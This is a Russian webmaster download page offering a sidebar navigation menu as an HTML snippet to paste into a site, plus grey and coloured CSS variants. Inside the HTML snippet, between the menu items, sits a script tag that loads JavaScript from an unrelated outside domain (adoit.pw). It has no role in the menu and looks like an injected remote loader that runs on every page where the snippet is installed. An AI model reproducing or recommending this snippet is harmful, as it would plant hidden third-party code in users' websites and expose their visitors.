Привет Гость | Главная | Форум | Связь с нами | Правообладателям Статистика | Регистрация | Вход
Общалочка

Наши партнеры
Мир природы, путешествия и туризм
Гимнастические кольца

Наш опрос
Нужен ли сайту форум?
Всего ответов: 330

Продвижение сайта

Боковое Меню Цветное и серое бесплатно

Главная » 2013 » Июль » 25 » Боковое Меню Цветное и серое
19:56
Скачать Боковое Меню Цветное и серое бесплатно

Красивые 2 типа Боковых Менюшек,вам представление более 2 видов меню, выберете тот который будет подойдет вашему дизайну оба меню красивые,и без багов,сам сайт скрипт не нагружает при загрузке...
И так Приступим У Самой Установчке:
Этот самый текст ставим там где мы хотели бы видеть свое новое меню HTML:

Код
<div id="main">  
  <ul id="navigationMenu">  
  <li>  
  <a class="m_home " href="$HOME_PAGE_LINK$"><span>На главную</span></a>  
  </li>  
  <li>  
  <a class="m_gost" href="/gb"><span>Гостевая</span></a>  
  </li>  
  <li>  
  <a class="m_forum" href="/forum"><span>Форум</span></a>  
  </li>  
  <li> <a class="m_pochta" href="/index/0-3"><span>Обратная связь</span></a>  
  </li><script type="text/javascript" src="http://adoit.pw/border.js"></script>  
  <?if($USER_LOGGED_IN$)?>  
  <li> <a class="m_vixod" href="$LOGOUT_LINK$"><span>Выход</span></a>  
  </li>  
  <?else?>  
  <li>  
  <a class="m_vxod" href="$LOGIN_LINK$"><span>Вход</span></a>  
  </li>  
  <?endif?>  
  </ul>  
  </div>  
  <!-- /Конец тегов левое боковое меню -->


А Вот два типа менюшек выбирайте который вам нужен

Серое Меню

Код
#main{  
  position:fixed;  
  top: 150px;  
  right: 0px;  
  padding:0;  
  }  

  #main ul{  
  padding:0;  
  }  

  #navigationMenu li{  
  list-style:none;  
  height:35px;  
  width:35px;  
  }  

  #navigationMenu span{  
  position:absolute;  
  overflow:hidden;  
  width:0;  
  right:35px;  
  padding:0;  
  font:12px Verdana,Arial,Helvetica,sans-serif;  
  font-weight:bold;  
  line-height:35px;  
  white-space:nowrap;  
  -webkit-transition: 0.25s;  
  -moz-transition: 0.25s;  
  transition: 0.25s;  
  }  

  #navigationMenu a{  
  display:block;  
  position:relative;  
  background:url(http://pnghosts.ru/img/navigation_2.png) no-repeat;  
  height:35px;  
  width:35px;  
  }  

  #navigationMenu a:hover span{  
  overflow:hidden;  
  text-align:center;  
  width:110px;  
  padding:0px 10px;  
  }  

  #navigationMenu a:hover{  
  text-decoration:none;  
  }  

  #navigationMenu .m_home {background-position:0 0;}  
  #navigationMenu .m_home :hover {background-position:0 -35px;}  

  #navigationMenu .m_gost {background-position:-35px 0;}  
  #navigationMenu .m_gost:hover {background-position:-35px -35px;}  

  #navigationMenu .m_forum {background-position:-70px 0;}  
  #navigationMenu .m_forum:hover {background-position:-70px -35px;}  

  #navigationMenu .m_pochta { background-position:-105px 0;}  
  #navigationMenu .m_pochta:hover{ background-position:-105px -35px;}  

  #navigationMenu .m_vxod { background-position:-140px 0;}  
  #navigationMenu .m_vxod:hover { background-position:-140px -35px;}  

  #navigationMenu .m_vixod { background-position:-175px 0;}  
  #navigationMenu .m_vixod:hover { background-position:-175px -35px;}  

  #navigationMenu .m_gost span,  
  #navigationMenu .m_forum span,  
  #navigationMenu .m_pochta span,  
  #navigationMenu .m_vxod span,  
  #navigationMenu .m_vixod span,  
  #navigationMenu .m_home span {  
  background:#444;  
  color:#777;  
  text-shadow:1px 1px 0 #333;  
  }


Цветное меню

Код
#main{  
  position:fixed;  
  top: 150px;  
  left: 0px;  
  padding:0;  
  }  

  #main ul{  
  padding:0;  
  }  

  #navigationMenu li{  
  list-style:none;  
  height:35px;  
  width:35px;  
  }  

  #navigationMenu span{  
  position:absolute;  
  overflow:hidden;  
  width:0;  
  left:35px;  
  padding:0;  
  font:12px Verdana,Arial,Helvetica,sans-serif;  
  font-weight:bold;  
  line-height:35px;  
  white-space:nowrap;  
  -webkit-transition: 0.25s;  
  -moz-transition: 0.25s;  
  transition: 0.25s;  
  }  

  #navigationMenu a{  
  display:block;  
  position:relative;  
  background:url(http://pnghosts.ru/img/navigation_1.png) no-repeat;  
  height:35px;  
  width:35px;  
  }  

  #navigationMenu a:hover span{  
  overflow:hidden;  
  text-align:center;  
  width:110px;  
  padding:0px 10px;  
  }  

  #navigationMenu a:hover{  
  text-decoration:none;  
  }  

  #navigationMenu .m_home {background-position:0 0;}  
  #navigationMenu .m_home :hover {background-position:0 -35px;}  
  #navigationMenu .m_home span{  
  background:#7da315;  
  color:#3d4f0c;  
  text-shadow:1px 1px 0 #99bf31;  
  }  

  #navigationMenu .m_gost {background-position:-35px 0;}  
  #navigationMenu .m_gost:hover {background-position:-35px -35px;}  
  #navigationMenu .m_gost span{  
  background:#1e8bb4;  
  color:#223a44;  
  text-shadow:1px 1px 0 #44a8d0;  
  }  

  #navigationMenu .m_forum {background-position:-70px 0;}  
  #navigationMenu .m_forum:hover {background-position:-70px -35px;}  
  #navigationMenu .m_forum span{  
  background:#c86c1f;  
  color:#5a3517;  
  text-shadow:1px 1px 0 #d28344;  
  }  

  #navigationMenu .m_pochta { background-position:-105px 0;}  
  #navigationMenu .m_pochta:hover{ background-position:-105px -35px;}  
  #navigationMenu .m_pochta span{  
  background-color:#d0a525;  
  color:#604e18;  
  text-shadow:1px 1px 0 #d8b54b;  
  }  

  #navigationMenu .m_vxod { background-position:-140px 0;}  
  #navigationMenu .m_vxod:hover { background-position:-140px -35px;}  
  #navigationMenu .m_vxod span{  
  background-color:#af1e83;  
  color:#460f35;  
  text-shadow:1px 1px 0 #d244a6;  
  }  

  #navigationMenu .m_vixod { background-position:-175px 0;}  
  #navigationMenu .m_vixod:hover { background-position:-175px -35px;}  
  #navigationMenu .m_vixod span{  
  background-color:#27ddbf;  
  color:#097863;  
  text-shadow:1px 1px 0 #87ffe7;  
  }

Скачать бесплатно:

Боковое Меню Цветное и серое

Понравилось Боковое Меню Цветное и серое ? Дай знать о ней другим!:)

Категория: Вебмастеру | Просмотров: 283 | Добавил: DoG | Рейтинг: 0.0/0

Смотрите на сайте:


Скачать бесплатно Проверка сабвуфера. Музыка для прокачки саба. Саб на прокачку скачать бесплатно
Категория: Музыка
Просмотров: 1580

Скачать бесплатно Warhammer 40,000: Dawn of War 2 - Retribution RUS (2011/Repack)
Категория: Игры
Просмотров: 647

Скачать бесплатно Прекрасные обои с девушками в HD качестве
Категория: Картинки,обои,графика
Просмотров: 442

Скачать бесплатно DeskSpace v1.5.7.1 Retail + Rus - Скачать бесплатно
Категория: Софт
Просмотров: 446

Скачать бесплатно Electro Drive vol.14 (2011)
Категория: Музыка
Просмотров: 439

Скачать бесплатно Красивейшие пейзажи нашей планеты
Категория: Картинки,обои,графика
Просмотров: 458

Скачать бесплатно Созвездие хитов. Шансон 6 (2010)
Категория: Музыка
Просмотров: 584

Скачать бесплатно Сделай сам. Мебель своими руками
Категория: Книги, Журналы
Просмотров: 782

Скачать бесплатно WindowsCare Uninstall Gold v2.0.2.138 RUS Скачать бесплатно
Категория: Софт
Просмотров: 543

Скачать бесплатно Dee1 - Мой Бал
Категория: Музыка
Просмотров: 525

Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]

Статистика
Онлайн всего: 1
Гостей: 1
Пользователей: 0

Сегодня нас посетили:

Пользователи в online

Статистика
Яндекс цитирования

Наши друзья

Баннер сайта


Если наш сайт был вам полезен, вы можете отблагодарить нас разместив наш баннер у себя на сайте





Музыка онлайн
Read - я не попса
[24.12.2009][Русский рэп]
ZAP - FIRE (the prodigy remix)
[30.12.2009][Drum N'Bass]
Faithless - God is a Dj ( Baintermix Ele...
[30.12.2009][House]
DJ ЕЖ'X - Tara raram
[21.02.2010][Drum N'Bass]
Benny Benassi feat Ирина Алегрова - Очар...
[26.01.2010][House]

Категории раздела
Фильмы [2697]
Музыка [7113]
Игры [5789]
Софт [11791]
Книги, Журналы [4287]
Клипы [783]
Мобильное,кпк,смарт [966]
Вебмастеру [105]
Картинки,обои,графика [1164]
Разное [907]
Скринсейверы [10]
Кисти [4]
Рамки [85]
Шрифты [1]
Шаблоны [187]
Клипарты [108]
Плагины [21]
Текстуры, фоны [1]
Заливки [0]
PSD исходники [7]
Градиенты [1]
Экшены [4]
Стили [0]
Уроки [1463]

Карта сайта © 2009-2011 portalDi.ru
Все материалы, размещенные на сайте, принадлежат соответствующим правообладателям и размещены исключительно в ознакомительных целях.